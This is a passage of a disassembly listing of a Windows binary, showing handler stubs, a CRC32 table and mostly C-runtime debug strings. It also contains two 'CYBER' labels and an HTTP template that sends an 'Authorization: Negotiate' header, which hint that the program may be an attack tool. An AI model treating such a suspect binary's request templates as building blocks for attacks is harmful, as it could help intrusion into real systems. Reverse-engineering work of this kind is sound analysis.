; ---------------------------------------------------------------------------

locret_43BA8E:				; CODE XREF: sub_43BA78+8j
		retn
sub_43BA78	endp

; ---------------------------------------------------------------------------

loc_43BA8F:				; DATA XREF: sub_40D8D7o
		mov	eax, offset dword_43E338
		jmp	___CxxFrameHandler3

; =============== S U B	R O U T	I N E =======================================



sub_43BA99	proc near		; DATA XREF: .rdata:0043E38Co
		lea	ecx, [ebp+14h]
		jmp	sub_40DD38
sub_43BA99	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BAA1	proc near		; DATA XREF: .rdata:0043E394o
		lea	ecx, [ebp-1Ch]
		jmp	sub_40DD38
sub_43BAA1	endp

; ---------------------------------------------------------------------------

loc_43BAA9:				; DATA XREF: sub_40DA4Eo
		mov	eax, offset dword_43E368
		jmp	___CxxFrameHandler3
; ---------------------------------------------------------------------------
		align 4

loc_43BAB4:				; DATA XREF: sub_40E175o
		mov	eax, offset dword_43E398
		jmp	___CxxFrameHandler3
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43BAC0	proc near		; DATA XREF: .rdata:0043E494o
		lea	ecx, [ebp-38h]
		call	sub_40DD38
		retn
sub_43BAC0	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43A6C0	proc near		; DATA XREF: sub_43A6C0+5o
		mov	eax, offset dword_43E470
		jmp	___CxxFrameHandler3
SEH_43A6C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43BAE0	proc near		; DATA XREF: .rdata:0043E4BCo
		mov	ecx, [ebp-10h]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		retn
sub_43BAE0	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43A720	proc near		; DATA XREF: sub_43A720+5o
		mov	eax, offset dword_43E498
		jmp	___CxxFrameHandler3
SEH_43A720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43BB00	proc near		; DATA XREF: .rdata:0043E504o
		mov	ecx, [ebp-10h]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		retn
sub_43BB00	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43A7E0	proc near		; DATA XREF: sub_43A7E0+5o
		mov	eax, offset dword_43E4E0
		jmp	___CxxFrameHandler3
SEH_43A7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43BB20	proc near		; DATA XREF: .rdata:0043E52Co
		mov	ecx, [ebp-14h]
		call	??1exception@@UAE@XZ ; exception::~exception(void)
		retn
sub_43BB20	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43A8A0	proc near		; DATA XREF: sub_43A8A0+5o
		mov	eax, offset dword_43E508
		jmp	___CxxFrameHandler3
SEH_43A8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43BB40	proc near		; DATA XREF: .rdata:0043E594o
		lea	ecx, [ebp-38h]
		call	sub_40DD38
		retn
sub_43BB40	endp


; =============== S U B	R O U T	I N E =======================================



SEH_43A9C0	proc near		; DATA XREF: sub_43A9C0+5o
		mov	eax, offset dword_43E570
		jmp	___CxxFrameHandler3
SEH_43A9C0	endp

_text		ends

; Section 2. (virtual address 0003C000)
; Virtual size			: 00002598 (   9624.)
; Section size in file		: 00002598 (   9624.)
; Offset to raw	data for section: 0003C000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 43C000h
		dd 0
		dd 4683E0FEh, 0
		dd 2, 61h, 0
		dd 59C00h
dword_43C01C	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401CC7+3476o
					; sub_401CC7+3566o ...
		align 4
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401CC7+3896o
					; sub_401CC7+38CCo ...
		align 4
; char aGetHttp1_0Host[]
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DA4E+68o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dbl_43C468	dq 1.388888888888889e-2	; DATA XREF: sub_40D88B+2Fr
dbl_43C470	dq 1.666666666666667e-1	; DATA XREF: sub_40D88B+15r
dbl_43C478	dq 1.333333333333333	; DATA XREF: sub_40D8D7+70r
dword_43C480	dd 0FFFFFFFFh		; DATA XREF: sub_40DCEB+13r
					; sub_40DD68r ...
dword_43C484	dd 0			; DATA XREF: sub_40E04Fo
flt_43C488	dd 5.0e-1		; DATA XREF: sub_40E3C7+39Br
		align 10h
dbl_43C490	dq 9.765625e-4		; DATA XREF: sub_416F62+2BDr
					; sub_416F62+2D8r ...
dbl_43C498	dq -1.52587890625e-4	; DATA XREF: sub_418650+3E5r
dbl_43C4A0	dq 3.0517578125e-4	; DATA XREF: sub_418650+3C5r
dbl_43C4A8	dq -3.0517578125e-4	; DATA XREF: sub_418650+342r
					; sub_418650+3A7r
dbl_43C4B0	dq 1.52587890625e-4	; DATA XREF: sub_418650+271r
dbl_43C4B8	dq -1.739501953125e-3	; DATA XREF: sub_418650+24Br
					; sub_418650+2D5r ...
dbl_43C4C0	dq 3.11279296875e-3	; DATA XREF: sub_418650+E1r
dbl_43C4C8	dq 3.0517578125e-5	; DATA XREF: sub_418650+AEr
					; sub_418650+138r ...
dbl_43C4D0	dq 6.103515625e-5	; DATA XREF: sub_418650+93r
					; sub_418650+308r
dbl_43C4D8	dq 2.288818359375e-3	; DATA XREF: sub_418650+21r
dbl_43C4E0	dq -3.0517578125e-5	; DATA XREF: sub_419551+2Br
flt_43C4E8	dd 9.765625e-4		; DATA XREF: sub_41B3B5+1B0r
flt_43C4EC	dd 8.0			; DATA XREF: sub_41B3B5+1AAr
flt_43C4F0	dd 0.0			; DATA XREF: sub_41B3B5+171r
flt_43C4F4	dd 1.0e-3		; DATA XREF: sub_41B3B5+168r
aFclose_c	db 'fclose.c',0         ; DATA XREF: _fclose+1Do
					; __fclose_lk+25o
		align 4
; char aStreamNull[]
aStreamNull	db 'stream != NULL',0   ; DATA XREF: _fclose+14o _fseek+Do ...
		align 4
; char aStrNull[]
aStrNull	db 'str != NULL',0      ; DATA XREF: __fclose_lk+1Co
					; sub_41F210+45o ...
aClient		db 'Client',0           ; DATA XREF: .data:00451910o
		align 4
aIgnore		db 'Ignore',0           ; DATA XREF: .data:0045190Co
		align 10h
aCrt		db 'CRT',0              ; DATA XREF: .data:00451908o
aNormal_0	db 'Normal',0           ; DATA XREF: .data:00451904o
		align 4
aFree		db 'Free',0             ; DATA XREF: .data:off_451900o
		align 8
dword_43C548	dd 0FFFFFFFFh, 0	; DATA XREF: __nh_malloc_dbg+5o
		dd offset sub_41C17D
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: __heap_alloc_dbg:loc_41C34Ao
					; _realloc_help:loc_41C7D0o
		align 4
; char aInvalidAllocat[]
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0
					; DATA XREF: __heap_alloc_dbg+11Bo
; char aS_32[]
aS_32		db '%s',0               ; DATA XREF: __heap_alloc_dbg+BCo
					; __heap_alloc_dbg+16Fo ...
		align 10h
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: __heap_alloc_dbg:loc_41C297o
		align 4
; char aClientHookAllo[]
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: __heap_alloc_dbg+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: __heap_alloc_dbg+31o
					; _realloc_help+77o ...
		align 4
; char a_crtcheckmemor[]
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: __heap_alloc_dbg+25o
					; _realloc_help+6Bo ...
		align 10h
dword_43C630	dd 0FFFFFFFFh, 0	; DATA XREF: __realloc_dbg+5o
		dd offset sub_41C623
; char a_pfirstblockPo[]
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: _realloc_help+499o
		align 4
; char a_plastblockPol[]
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: _realloc_help+445o
		align 4
; char aFreallocFreall[]
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: _realloc_help:loc_41CA36o
		align 4
; char a_block_typePol[]
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: _realloc_help+277o
		align 4
; char aPoldblockNline[]
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: _realloc_help:loc_41C861o
		db 'REQ',0
		align 4
; char a_crtisvalidhea[]
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: _realloc_help+1B6o
					; sub_41CCE0+A8o ...
		align 10h
; char aAllocationTooL[]
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: _realloc_help+136o
		align 10h
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: _realloc_help:loc_41C74Fo
; char aClientHookReAl[]
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: _realloc_help+DCo
		align 10h
dword_43C7E0	dd 0FFFFFFFFh, 0	; DATA XREF: __expand_dbg+5o
		dd offset sub_41CC03
		align 10h
dword_43C7F0	dd 0FFFFFFFFh, 0	; DATA XREF: __free_dbg+5o
		dd offset sub_41CCC2
; char a_pfirstblockPh[]
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41CCE0+35Do
		align 4
; char a_plastblockPhe[]
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_41CCE0+307o
		align 4
; char aPheadNblockuse[]
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41CCE0+29Co
					; sub_41D0F0+133o
		align 4
; char aPheadNlineIgno[]
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_41CCE0:loc_41CF04o
		align 4
; char aDamageAfterHsB[]
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41CCE0+1E5o
					; sub_41D430+265o
		align 4
; char aDamageBeforeHs[]
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41CCE0+17Fo
					; sub_41D430+208o
		align 4
; char a_block_type_is[]
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41CCE0+10Ao
					; sub_41D0F0+E2o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41CCE0:loc_41CD4Do
		align 4
dword_43C928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D0F0+5o
		dd offset sub_41D261
		align 8
dword_43C938	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtSetDbgBlockType+5o
		dd offset sub_41D35D
; char aMemoryCheckErr[]
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: _CheckBytes+54o
		align 10h
; char aHsLocatedAt0x0[]
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_41D430+33Ao
		align 4
; char aHsAllocatedAtF[]
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41D430+307o
; char aDamageOnTopOfF[]
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_41D430+2BEo
		align 4
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_41D430:loc_41D604o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_41D430:loc_41D55Co
		align 4
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_41D430:loc_41D534o
		align 10h
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_41D430:loc_41D50Co
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_41D430:loc_41D4E4o
		align 4
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_41D430:loc_41D4B9o
		align 10h
dword_43CAC0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D430+5o
		dd offset sub_41D7A5
		align 10h
dword_43CAD0	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtDoForAllClientObjects+5o
		dd offset sub_41D89D
		align 10h
dword_43CAE0	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtIsMemoryBlock+5o
		dd offset sub_41DB46
; char aBadMemoryBlock[]
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41DB90+13Co
		align 10h
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_41DB90:loc_41DBB9o
dword_43CB38	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DB90+5o
		dd offset sub_41DD18
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: __CrtMemDifference:loc_41DD62o
aObjectDumpComp	db 'Object dump complete.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41E12Co
		align 4
; char aCrtBlockAt0x08[]
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince+271o
		align 4
; char aNormalBlockAt0[]
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince+214o
; char aClientBlockAt0[]
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince+1A9o
; char aLd[]
aLd		db '{%ld} ',0           ; DATA XREF: __CrtMemDumpAllObjectsSince+15Ao
		align 4
; char aHsD[]
aHsD		db '%hs(%d) : ',0       ; DATA XREF: __CrtMemDumpAllObjectsSince+132o
		align 4
; char aFileErrorD[]
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+101o
aDumpingObjects	db 'Dumping objects ->',0Ah,0
					; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41DEABo
dword_43CC50	dd 0FFFFFFFFh, 0	; DATA XREF: __CrtMemDumpAllObjectsSince+5o
		dd offset sub_41E121
; char aDataSS[]
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: __printMemBlockData+ECo
; char a_2x[]
a_2x		db '%.2X ',0            ; DATA XREF: __printMemBlockData+BFo
		align 4
aDetectedMemory	db 'Detected memory leaks!',0Ah,0
					; DATA XREF: __CrtDumpMemoryLeaks:loc_41E2C4o
; char aTotalAllocatio[]
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0
					; DATA XREF: __CrtMemDumpStatistics+9Do
		align 4
; char aLargestNumberU[]
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0
					; DATA XREF: __CrtMemDumpStatistics+75o
		align 10h
; char aLdBytesInLdHsB[]
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0
					; DATA XREF: __CrtMemDumpStatistics+4Bo
		align 10h
; char aMode_t0[]
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+95o
		align 4
; char aModeNull[]
aModeNull	db 'mode != NULL',0     ; DATA XREF: __fsopen+67o
					; __openfile+4Fo
		align 4
; char aFile_t0[]
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+3Do
		align 4
aFopen_c	db 'fopen.c',0          ; DATA XREF: __fsopen+18o __fsopen+46o ...
; char aFileNull[]
aFileNull	db 'file != NULL',0     ; DATA XREF: __fsopen+Fo
		align 10h
; char aFormatNull[]
aFormatNull	db 'format != NULL',0   ; DATA XREF: _sprintf+45o
					; __snprintf+45o ...
		align 10h
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: _sprintf+24o _sprintf+4Eo ...
		align 4
; char aStringNull[]
aStringNull	db 'string != NULL',0   ; DATA XREF: _sprintf+1Bo
					; __snprintf+1Bo ...
		align 4
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_41F210+24o
					; sub_41F210+4Eo
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: _fprintf+1Eo _fprintf+48o
		align 10h
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: __vsnprintf+1Eo
					; __vsnprintf+48o
		align 4
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: _sscanf+24o _sscanf+4Eo
		align 4
dbl_43CD98	dq 1.0			; DATA XREF: _floor+99r _ceil+99r ...
aDbgdel_cpp	db 'dbgdel.cpp',0       ; DATA XREF: operator delete(void *)+62o
		align 4
aOnexit_c	db 'onexit.c',0         ; DATA XREF: __onexit+2Eo
					; ___onexitinit+8o
		align 4
aFseek_c	db 'fseek.c',0          ; DATA XREF: _fseek+16o __fseek_lk+19o
aStrupr_c	db 'strupr.c',0         ; DATA XREF: __strupr+133o
		align 4
aMbstowcs_c	db 'mbstowcs.c',0       ; DATA XREF: __mbstowcs_lk+32o
		align 4
; char aSNull[]
aSNull		db 's != NULL',0        ; DATA XREF: __mbstowcs_lk+29o
		align 8
dword_43CDE8	dd 0FFFFFFFFh		; DATA XREF: start+5o
		dd offset sub_422492
		dd offset sub_4224AD
a_file_c	db '_file.c',0          ; DATA XREF: ___initstdio+31o
					; ___initstdio+65o
aAssertionFai_1	db 'Assertion Failed',0 ; DATA XREF: .data:00451BFCo
		align 10h
aError		db 'Error',0            ; DATA XREF: .data:00451BF8o
		align 4
aWarning	db 'Warning',0          ; DATA XREF: .data:off_451BF4o
; char aSDS_0[]
aSDS_0		db '%s(%d) : %s',0      ; DATA XREF: __CrtDbgReport+1FFo
; char asc_43CE2C[]
asc_43CE2C:				; DATA XREF: __CrtDbgReport:loc_422A46o
		dw 0Ah
		unicode	0, <>,0
; char asc_43CE30[]
asc_43CE30:				; DATA XREF: __CrtDbgReport+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: __CrtDbgReport:loc_4229E5o
		align 4
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: __CrtDbgReport+169o
		align 4
; char a_crtdbgreportS[]
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: __CrtDbgReport+149o
					; __CrtDbgReport+21Co ...
		align 4
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: __CrtDbgReport+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: __CrtDbgReport+B6o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: __CrtDbgReport+9Co
					; ___crtMessageBoxA+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0
					; DATA XREF: _CrtMessageWindow+2C2o
		align 4
; char aDebugSProgramS[]
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: _CrtMessageWindow+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: _CrtMessageWindow+221o
		db 'Module: ',0
		align 4
aFile_1		db 0Ah			; DATA XREF: _CrtMessageWindow+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: _CrtMessageWindow+1AAo
		db 'Line: ',0
; char asc_43CF68[]
asc_43CF68	db 0Ah			; DATA XREF: _CrtMessageWindow+173o
					; __NMSG_WRITE+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: _CrtMessageWindow+153o
		align 4
dword_43CF7C	dd 0			; DATA XREF: _CrtMessageWindow:loc_422D1Ao
					; _CrtMessageWindow:loc_422D39o ...
aForInformation	db 0Ah			; DATA XREF: _CrtMessageWindow+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: _CrtMessageWindow+9Co
					; _CrtMessageWindow+F4o ...
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: _CrtMessageWindow+56o
					; __NMSG_WRITE+EDo
		align 10h
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: _CrtMessageWindow+1Fo
		align 4
; char aSzusermessageN[]
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: _CrtMessageWindow+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: __freebuf+15o
		align 10h
aMlock_c	db 'mlock.c',0          ; DATA XREF: __lock+16o
dword_43D048	dd 0FFFFFFFFh, 0	; DATA XREF: __heap_alloc_base+5o
		dd offset sub_423785
		dd 0FFFFFFFFh, 0
		dd offset sub_423807
dword_43D060	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423880+5o
		dd offset sub_423921
		dd 0FFFFFFFFh, 0
		dd offset sub_423A1A
dword_43D078	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423A90+5o
		dd offset sub_423C58
		dd 0FFFFFFFFh, 0
		dd offset sub_423E6F
dword_43D090	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423F30+5o
		dd offset sub_423FAB
		dd 0FFFFFFFFh, 0
		dd offset sub_42402D
dword_43D0A8	dd 0FFFFFFFFh, 0	; DATA XREF: unknown_libname_6+5o
		dd offset sub_4240E2
		dd 0FFFFFFFFh, 0
		dd offset sub_424127
; char Str1[]
Str1		db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_426EF0+B9o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_426EF0+5Ao
		align 10h
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: __filbuf+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: __openfile+2Eo
					; __openfile+58o ...
; char aFilenameNull[]
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: __openfile+25o
		align 4
aStream_c	db 'stream.c',0         ; DATA XREF: __getstream+C1o
		align 4
; char aInconsistentIo[]
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: __flsbuf+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: __flsbuf+18o
					; __flsbuf+16Eo
		align 10h
byte_43D170	db 6			; DATA XREF: unknown_libname_7+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_0:				; DATA XREF: .data:off_453F10o
		unicode	0, <(null)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: .data:off_453F0Co
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: unknown_libname_7+122o
		align 10h
; char aCh_t0[]
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: unknown_libname_7+116o
		align 10h
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: __mtinit+23o __getptd+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: __stbuf+18o __stbuf+B2o ...
		align 4
; char aFlag0Flag1[]
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: __ftbuf+13o
		align 10h
aInput_c	db 'input.c',0          ; DATA XREF: unknown_libname_11+1Eo
					; unknown_libname_11+4Bo
a_yn		db '_yn',0              ; DATA XREF: .data:0045425Co
a_y1		db '_y1',0              ; DATA XREF: .data:00454254o
a_y0		db '_y0',0              ; DATA XREF: .data:0045424Co
aFrexp		db 'frexp',0            ; DATA XREF: .data:00454244o
		align 4
